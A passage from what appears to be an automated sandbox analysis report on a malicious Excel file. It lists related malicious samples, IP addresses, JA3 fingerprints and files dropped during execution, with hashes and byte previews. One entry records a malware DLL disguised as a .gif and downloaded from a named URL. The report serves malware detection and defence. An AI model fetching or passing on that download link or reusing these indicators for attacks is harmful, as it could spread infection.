                                                                        • 51.91.76.89
                                                                        QOpv1PykFc.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        S4caD0RhXL.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        pH8YW11W1x.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        wrtKaH8g28.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        Ip6jHpq61F.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89

                                                                        JA3 Fingerprints

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                        7dcce5b76c8b17472d024758970a406bNotice-039539.xlsmGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        PO#070421APRIL-REV.pptGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1251000362.xlsmGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1251000362.xlsmGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        FARASIS.xlsxGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        NEW LEMA PO 652872-21.pptGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1055791644.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        final po PP-11164.pptGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        OrderSheet.ppsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1848152474.xlsmGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        appraisal document.docGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1048628209.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1771131239.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1370071295.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-69564892.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1320073816.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-184653858.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1729033050.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-1268722929.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4
                                                                        document-540475316.xlsGet hashmaliciousBrowse
                                                                        • 207.174.213.126
                                                                        • 198.50.218.68
                                                                        • 162.241.62.4
                                                                        • 5.100.155.169
                                                                        • 192.185.129.4

                                                                        Dropped Files

                                                                        No context

                                                                        Created / dropped Files

                                                                        C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:Microsoft Cabinet archive data, 58596 bytes, 1 file
                                                                        Category:dropped
                                                                        Size (bytes):58596
                                                                        Entropy (8bit):7.995478615012125
                                                                        Encrypted:true
                                                                        SSDEEP:1536:J7r25qSSheImS2zyCvg3nB/QPsBbgwYkGrLMQ:F2qSSwIm1m/QEBbgb1oQ
                                                                        MD5:61A03D15CF62612F50B74867090DBE79
                                                                        SHA1:15228F34067B4B107E917BEBAF17CC7C3C1280A8
                                                                        SHA-256:F9E23DC21553DAA34C6EB778CD262831E466CE794F4BEA48150E8D70D3E6AF6D
                                                                        SHA-512:5FECE89CCBBF994E4F1E3EF89A502F25A72F359D445C034682758D26F01D9F3AA20A43010B9A87F2687DA7BA201476922AA46D4906D442D56EB59B2B881259D3
                                                                        Malicious:false
                                                                        Reputation:high, very likely benign file
                                                                        Preview: MSCF............,...................I........T........bR. .authroot.stl...s~.4..CK..8T....c_.d....A.K......&.-.J...."Y...$E.KB..D...D.....3.n..u.............|..=H4..c&.......f.,..=..-....p2.:..`HX......b.......Di.a......M.....4.....i..}..:~N.<..>.*.V..CX......B......,.q.M.....HB..E~Q...)..Gax../..}7..f......O0...x..k..ha...y.K.0.h..(....{2Y.].g...yw..|0.+?.`-../.xvy..e......w.+^...w|.Q.k.9&.Q.EzS.f......>?w.G.......v.F......A......-P.$.Y...u....Z..g..>.0&.y.(..<.].`>... ..R.q...g.Y..s.y.B..B....Z.4.<?.R....1.8.<.=.8..[a.s.......add..).NtX....r....R.&W4.5]....k.._iK..xzW.w.M.>,5.}..}.tLX5Ls3_..).!..X.~...%.B.....YS9m.,.....BV`.Cee.....?......:.x-.q9j...Yps..W...1.A<.X.O....7.ei..a\.~=X....HN.#....h,....y...\.br.8.y"k).....~B..v....GR.g|.z..+.D8.m..F .h...*.........ItNs.\....s..,.f`D...]..k...:9..lk.<D....u...........[...*.wY.O....P?.U.l....Fc.ObLq......Fvk..G9.8..!..\T:K`.......'.3......;.u..h...uD..^.bS...r........j..j .=...s .FxV....g.c.s..9.
                                                                        C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):893
                                                                        Entropy (8bit):7.366016576663508
                                                                        Encrypted:false
                                                                        SSDEEP:24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
                                                                        MD5:D4AE187B4574036C2D76B6DF8A8C1A30
                                                                        SHA1:B06F409FA14BAB33CBAF4A37811B8740B624D9E5
                                                                        SHA-256:A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
                                                                        SHA-512:1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
                                                                        Malicious:false
                                                                        Reputation:high, very likely benign file
                                                                        Preview: 0..y..*.H.........j0..f...1.0...*.H.........N0..J0..2.......D....'..09...@k0...*.H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0...*.H.............0..........P..W..be......,k0.[...}.@......3vI*.?!I..N..>H.e...!.e.*.2....w..{........s.z..2..~..0....*8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.*....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i....*.)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0...*.H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..|.Wv..(9..e...w.j..w.......)...55.1.
                                                                        C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):326
                                                                        Entropy (8bit):3.1146655678160093
                                                                        Encrypted:false
                                                                        SSDEEP:6:kKOO3PkwTJ0N+SkQlPlEGYRMY9z+4KlDA3RUe0ht:J3PkwTJrkPlE99SNxAhUe0ht
                                                                        MD5:933FF45DA6B4A343AEEC08A091A0BAEE
                                                                        SHA1:41E1BB9E9E742EB28DBE56E40BCA6F81B1E26CF1
                                                                        SHA-256:18AAC2CBE90A2C0EB724E76527F9DD392C5F90C601D2945AE5BD38E3D7EC3B17
                                                                        SHA-512:10968A1112C238A32E24B756CD383825BEC08D823605767334380EC7266863597460FE7455628C7200C34F324F8C21E53F58CEDC75FAAEF2DF8710742DE60719
                                                                        Malicious:false
                                                                        Reputation:low
                                                                        Preview: p...... ..........8.+..(....................................................... ...................$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.d.8.f.4.f.3.f.6.f.d.7.1.:.0."...
                                                                        C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):252
                                                                        Entropy (8bit):3.01359045659566
                                                                        Encrypted:false
                                                                        SSDEEP:3:kkFkle73/tfllXlE/QhzllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1UAYpFit:kKFjnliBAIdQZV7eAYLit
                                                                        MD5:4B29AE3F4B4A3D5A3E8F2369603F007B
                                                                        SHA1:9408647A0936E4ED1D803963436369E2FFEA7AA1
                                                                        SHA-256:1A35BA761920227FB7A7FCB72F10AB5A5598EA5AAA26ED01CFAA0B2A568B6877
                                                                        SHA-512:397BE9E0ACFBDDD9A2630677F8172A3BFFF600C42BA8C852395188531318798E94DB66F00565B3AF92F54D3332F2758AE3D077D690738BE64B237C243881FC53
                                                                        Malicious:false
                                                                        Reputation:low
                                                                        Preview: p...... ....`...]..9.+..(....................................................... ........u.........(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.9.e.7.6.b.3.c.6.4.b.c.0."...
                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\suspendedpage[1].htm
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:HTML document, ASCII text, with very long lines
                                                                        Category:downloaded
                                                                        Size (bytes):7614
                                                                        Entropy (8bit):5.643196429180972
                                                                        Encrypted:false
                                                                        SSDEEP:192:olVZHCkA26xd3Q4JRveuTtMy47R/Ga0kVhFuPwf8Pn9wHHyJcf:QJvVGaRF8I80
                                                                        MD5:116091ED739B7E0F1AD7F819560A0602
                                                                        SHA1:C30A527A2A5F25BC1A63359CAD76A8BAB67CB4FB
                                                                        SHA-256:0445F0A98A263C472AE1C8D8E28275AFEA1BDDD7692746AA5286097B311B29B1
                                                                        SHA-512:83F16BCA5EA4062470B8807912F10B6D743C2DEF2261B4E16098EA8FC1DCB6692CBBD4C6870F27408422B75A3CDCD46A3856AB2162177ED2386D4B8188C122E8
                                                                        Malicious:false
                                                                        Reputation:moderate, very likely benign file
                                                                        IE Cache URL:https://vts.us.com/cgi-sys/suspendedpage.cgi
                                                                        Preview: <!DOCTYPE html>.<html>. <head>. <meta http-equiv="Content-type" content="text/html; charset=utf-8">. <meta http-equiv="Cache-control" content="no-cache">. <meta http-equiv="Pragma" content="no-cache">. <meta http-equiv="Expires" content="0">. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1">. <title>Account Suspended</title>. <link rel="stylesheet" href="//use.fontawesome.com/releases/v5.0.6/css/all.css">. <style type="text/css">. body {. font-family: Arial, Helvetica, sans-serif;. font-size: 14px;. line-height: 1.428571429;. background-color: #ffffff;. color: #2F3230;. padding: 0;. margin: 0;. }. section {. display: block;. padding: 0;. margin: 0;. }. .container {. margin-left: auto;. margin-right: auto;. padding: 0 10px;.
                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\suspendedpage[1].htm
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:HTML document, ASCII text, with very long lines
                                                                        Category:downloaded
                                                                        Size (bytes):7624
                                                                        Entropy (8bit):5.642596381720329
                                                                        Encrypted:false
                                                                        SSDEEP:192:olVZHCkA26xd3Q4JRveuTtMy47R/Ga0kVhFuPwf8Pn9wHHyJf0:QJvVGaRF8I80
                                                                        MD5:190F2D4BCDE1E366EAAB903C29C7A699
                                                                        SHA1:346D44A0619C97AA226EF52F146F9A133F4DCAAF
                                                                        SHA-256:20C2D643754869BA5763DDC6289A0FADBBF2DE81236F1F80B7FA3588B14F6EBB
                                                                        SHA-512:AB3C39F0B6A07F798E9546FA882BE0D850F88337DFBFBF7A797A67B43CC1EA8718C842619E4FE169FD3A6FE270C39866F6B4DBB0187612B2840A6474D0E26BB6
                                                                        Malicious:false
                                                                        IE Cache URL:https://ponchokhana.com/cgi-sys/suspendedpage.cgi
                                                                        Preview: <!DOCTYPE html>.<html>. <head>. <meta http-equiv="Content-type" content="text/html; charset=utf-8">. <meta http-equiv="Cache-control" content="no-cache">. <meta http-equiv="Pragma" content="no-cache">. <meta http-equiv="Expires" content="0">. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1">. <title>Account Suspended</title>. <link rel="stylesheet" href="//use.fontawesome.com/releases/v5.0.6/css/all.css">. <style type="text/css">. body {. font-family: Arial, Helvetica, sans-serif;. font-size: 14px;. line-height: 1.428571429;. background-color: #ffffff;. color: #2F3230;. padding: 0;. margin: 0;. }. section {. display: block;. padding: 0;. margin: 0;. }. .container {. margin-left: auto;. margin-right: auto;. padding: 0 10px;.
                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\0104[1].gif
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                        Category:downloaded
                                                                        Size (bytes):129731
                                                                        Entropy (8bit):5.747848755116591
                                                                        Encrypted:false
                                                                        SSDEEP:1536:tm15JsYYm3GCVS7ZicTJzRVd620ZmB9RMli0msUdqZEACW4jySTLW:eLsacThRVd6pmBPM07vYZEA4/W
                                                                        MD5:9BDF7C3BDB07C77AB4AE0BECC716B6D0
                                                                        SHA1:C5B2ED793BCFE4D96B2CE93B202B2F551AFB8C87
                                                                        SHA-256:4106E859C225B6FED690E1640CC98E4808E1FF7C5CB041C18493996B04805E48
                                                                        SHA-512:117EFAABE33020EE1C14924D1FB19FE57F2DE6E3FEAB007F3B9A117931479585188500D0B50854CD7D2D85003D00AB313BB662D02571BC4C834FAA25E6360216
                                                                        Malicious:true
                                                                        Antivirus:
                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                        IE Cache URL:https://accesslinksgroup.com/ds/0104.gif
                                                                        Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e.)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!................ko..................................................................................d............................................................................................................................code.............................. ..`.data...d...........................@..@.data...............................@....rdata... .......".......................data...............................@...................................................................................................................................................................................................................................................................................................................................................................................
                                                                        C:\Users\user\AppData\Local\Temp\1DCE0000
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):86267
                                                                        Entropy (8bit):7.89687724118678
                                                                        Encrypted:false
                                                                        SSDEEP:1536:BFlnA+3D5XUYz/wBf8orsEwHKynWLmArf7WtfHR1ijrvWf46rtvpnny:BLA+tDzPjEwqtD3Wt51ijKA6rtvpny
                                                                        MD5:59485B13A6C7B5873A40FB2EC45BD39F
                                                                        SHA1:941883BDB59D930E7E3986D058B233C34630A6BF
                                                                        SHA-256:B643678F376F596E7EDA854BF5254525B7049E08D940411366E70F0DC7EE8550
                                                                        SHA-512:964A5FD3D815AAAA9A275EB5F8779EF6A82FD4E0B507C9DBFB392CC1861A2E23FE1CFB7ADE97AF17A98B21E1096D970506DE131612E8043CDE796AB37CD01F13
                                                                        Malicious:false
                                                                        Preview: ...n.0.E.......D'...,g...&@....c.0_ .....eEm...t....4._m...1D.l...+..'.mj.......J..b.........c,....).K.h.@..GK++..$....A..A~>.]p.lB..5.b..W.Sq...;'KeYq../.j..k% .Q.l...t...(.x2$]E..dl........S.."....6{Le..|.pE@..JFl.9TT..[..7...B^y;...60(.........7....^:.....0M,q#PW]b......FZ.e_..!u..w_g...>$../w.....|.Fh..d3C....{p..z..nH.Oy......-G.}~|.;...c.j..r=........>..h>....#>d..l..?>.{/4....uK.....t..i....#...O7.:jsu.I.CR8..C.l ..?..w.a>.$..l...........PK..........!....M....~.......[Content_Types].xml ...(.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                        C:\Users\user\AppData\Local\Temp\CabD53B.tmp
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:Microsoft Cabinet archive data, 58596 bytes, 1 file
                                                                        Category:dropped
                                                                        Size (bytes):58596
                                                                        Entropy (8bit):7.995478615012125
                                                                        Encrypted:true
                                                                        SSDEEP:1536:J7r25qSSheImS2zyCvg3nB/QPsBbgwYkGrLMQ:F2qSSwIm1m/QEBbgb1oQ
                                                                        MD5:61A03D15CF62612F50B74867090DBE79
                                                                        SHA1:15228F34067B4B107E917BEBAF17CC7C3C1280A8
                                                                        SHA-256:F9E23DC21553DAA34C6EB778CD262831E466CE794F4BEA48150E8D70D3E6AF6D
                                                                        SHA-512:5FECE89CCBBF994E4F1E3EF89A502F25A72F359D445C034682758D26F01D9F3AA20A43010B9A87F2687DA7BA201476922AA46D4906D442D56EB59B2B881259D3
                                                                        Malicious:false
                                                                        Preview: MSCF............,...................I........T........bR. .authroot.stl...s~.4..CK..8T....c_.d....A.K......&.-.J...."Y...$E.KB..D...D.....3.n..u.............|..=H4..c&.......f.,..=..-....p2.:..`HX......b.......Di.a......M.....4.....i..}..:~N.<..>.*.V..CX......B......,.q.M.....HB..E~Q...)..Gax../..}7..f......O0...x..k..ha...y.K.0.h..(....{2Y.].g...yw..|0.+?.`-../.xvy..e......w.+^...w|.Q.k.9&.Q.EzS.f......>?w.G.......v.F......A......-P.$.Y...u....Z..g..>.0&.y.(..<.].`>... ..R.q...g.Y..s.y.B..B....Z.4.<?.R....1.8.<.=.8..[a.s.......add..).NtX....r....R.&W4.5]....k.._iK..xzW.w.M.>,5.}..}.tLX5Ls3_..).!..X.~...%.B.....YS9m.,.....BV`.Cee.....?......:.x-.q9j...Yps..W...1.A<.X.O....7.ei..a\.~=X....HN.#....h,....y...\.br.8.y"k).....~B..v....GR.g|.z..+.D8.m..F .h...*.........ItNs.\....s..,.f`D...]..k...:9..lk.<D....u...........[...*.wY.O....P?.U.l....Fc.ObLq......Fvk..G9.8..!..\T:K`.......'.3......;.u..h...uD..^.bS...r........j..j .=...s .FxV....g.c.s..9.
                                                                        C:\Users\user\AppData\Local\Temp\TarD53C.tmp
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):152788
                                                                        Entropy (8bit):6.309740459389463
                                                                        Encrypted:false
                                                                        SSDEEP:1536:TIz6c7xcjgCyrYBZ5pimp4Ydm6Caku2Dnsz0JD8reJgMnl3rlMGGv:TNqccCymfdmoku2DMykMnNGG0
                                                                        MD5:4E0487E929ADBBA279FD752E7FB9A5C4
                                                                        SHA1:2497E03F42D2CBB4F4989E87E541B5BB27643536
                                                                        SHA-256:AE781E4F9625949F7B8A9445B8901958ADECE7E3B95AF344E2FCB24FE989EEB7
                                                                        SHA-512:787CBC262570A4FA23FD9C2BA6DA7B0D17609C67C3FD568246F9BEF2A138FA4EBCE2D76D7FD06C3C342B11D6D9BCD875D88C3DC450AE41441B6085B2E5D48C5A
                                                                        Malicious:false
                                                                        Preview: 0..T...*.H.........T.0..T....1.0...`.H.e......0..D...+.....7.....D.0..D.0...+.....7..........|h....210303062855Z0...+......0..D.0..*.....`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o
                                                                        C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Apr 7 16:55:37 2021, atime=Wed Apr 7 16:55:37 2021, length=8192, window=hide
                                                                        Category:dropped
                                                                        Size (bytes):867
                                                                        Entropy (8bit):4.480171247399955
                                                                        Encrypted:false
                                                                        SSDEEP:12:85Q0XNcLgXg/XAlCPCHaXtB8XzB/oPUsxX+WnicvbVbDtZ3YilMMEpxRljKVTdJU:853NK/XTd6jytYeFDv3q8rNru/
                                                                        MD5:ADAA11F5477E217D89FE1276B7B4DF31
                                                                        SHA1:73C4A6FF57F2AEF1A2829D6C9C5D7B18F1029386
                                                                        SHA-256:F16FD70438671887819B69CC1339ECCA391B78744FB4AA530888C6521912F2B2
                                                                        SHA-512:5A01857EF32BA4DFBDCA84600867709F9287D5C00E9306D62B60A87F3A3A9F8D73E3AE26C7A9112B7693EADDB10B0EECCE18367B8435BE319FA5860AEEE5504F
                                                                        Malicious:false
                                                                        Preview: L..................F...........7G..u..7.+..u..7.+... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......R...Desktop.d......QK.X.R.*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\910646\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......910646..........D_....3N...W...9r.[.*.......}EkD_....3N...W...9r.[.*.......}Ek....
                                                                        C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\document-1245492889.LNK
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Wed Apr 7 16:55:37 2021, atime=Wed Apr 7 16:55:38 2021, length=185344, window=hide
                                                                        Category:dropped
                                                                        Size (bytes):2118
                                                                        Entropy (8bit):4.535357653734618
                                                                        Encrypted:false
                                                                        SSDEEP:48:8/3/XT0jFa4tRitU8Qh2/3/XT0jFa4tRitU8Q/:8//XojFaSGU8Qh2//XojFaSGU8Q/
                                                                        MD5:47C7590884F78400BB263A71C493D9D8
                                                                        SHA1:90C93F3C61B70B65CB0502E2EF3B996649B16E07
                                                                        SHA-256:EAFAC668BB1A633FE299BDFF5859A9BD5FA5CD0DDEC45C188824EA9A0D77717B
                                                                        SHA-512:BF5BA6DA53AA997F42F801F20A61C3CF069E4C33596353F7E0F650E11C6F3E05DE6901E74EEA53461661F1BE7CAEEB3D4C0737A0697419B6DDB3DC73E2C27890
                                                                        Malicious:false
                                                                        Preview: L..................F.... ...lV...{..u..7.+.....7.+...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....x.2......R.. .DOCUME~1.XLS..\.......Q.y.Q.y*...8.....................d.o.c.u.m.e.n.t.-.1.2.4.5.4.9.2.8.8.9...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\910646\Users.user\Desktop\document-1245492889.xls.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.d.o.c.u.m.e.n.t.-.1.2.4.5.4.9.2.8.8.9...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......910646..........D_....3N.
                                                                        C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:ASCII text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):110
                                                                        Entropy (8bit):4.81906300856618
                                                                        Encrypted:false
                                                                        SSDEEP:3:oyBVomMY9LRMcXf6p5oZELRMcXf6p5omMY9LRMcXf6p5ov:dj6Y9L8SEL86Y9L8y
                                                                        MD5:D2AF0D62D75E6CE864E75765FCF0AA3D
                                                                        SHA1:32AAE53E47D7E027E1240B2C39129F6001D4FAD5
                                                                        SHA-256:8CFA902A46D50CCDBD04EC7C62CCF4D2F5BC05297ADCD89241209C044920FEFA
                                                                        SHA-512:EE8FBA4DE54B84EBDD12ED4ED39A14B9B34BD2BB4C947E6C16E0659DEA7ACDC07BD2E2A252A26A2B994EAD7A8613A71BF584D4DDFD024D3DCF45F4498FBD1D4F
                                                                        Malicious:false
                                                                        Preview: Desktop.LNK=0..[xls]..document-1245492889.LNK=0..document-1245492889.LNK=0..[xls]..document-1245492889.LNK=0..
                                                                        C:\Users\user\Desktop\EDCE0000
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:Applesoft BASIC program data, first line number 16
                                                                        Category:dropped
                                                                        Size (bytes):234340
                                                                        Entropy (8bit):5.681180533619061
                                                                        Encrypted:false
                                                                        SSDEEP:3072:CbmxIEudkLee/DPPjwwm+D17+DXPbmxIEudkLeG:/IEudkLee7nvD1qDXIIEudkLeG
                                                                        MD5:EA7F4AD655E501AC7BBCDB3967275D9E
                                                                        SHA1:81829B1A969FB1FCDF97AB3D8DADA9865EB899F3
                                                                        SHA-256:9723784C3A4FD7DDFA5EEE186EFE907C995310121C7BD0CC536F1270970CE824
                                                                        SHA-512:21078C0A632CC732927BE0F2FDD3B3769F23108987C9DBA42B6F45725FB16E0EFBDCCB6F94029964C5AEB7E7E8FE299CAB14B8A7F0F0C8DC24E031C111A26C7A
                                                                        Malicious:false
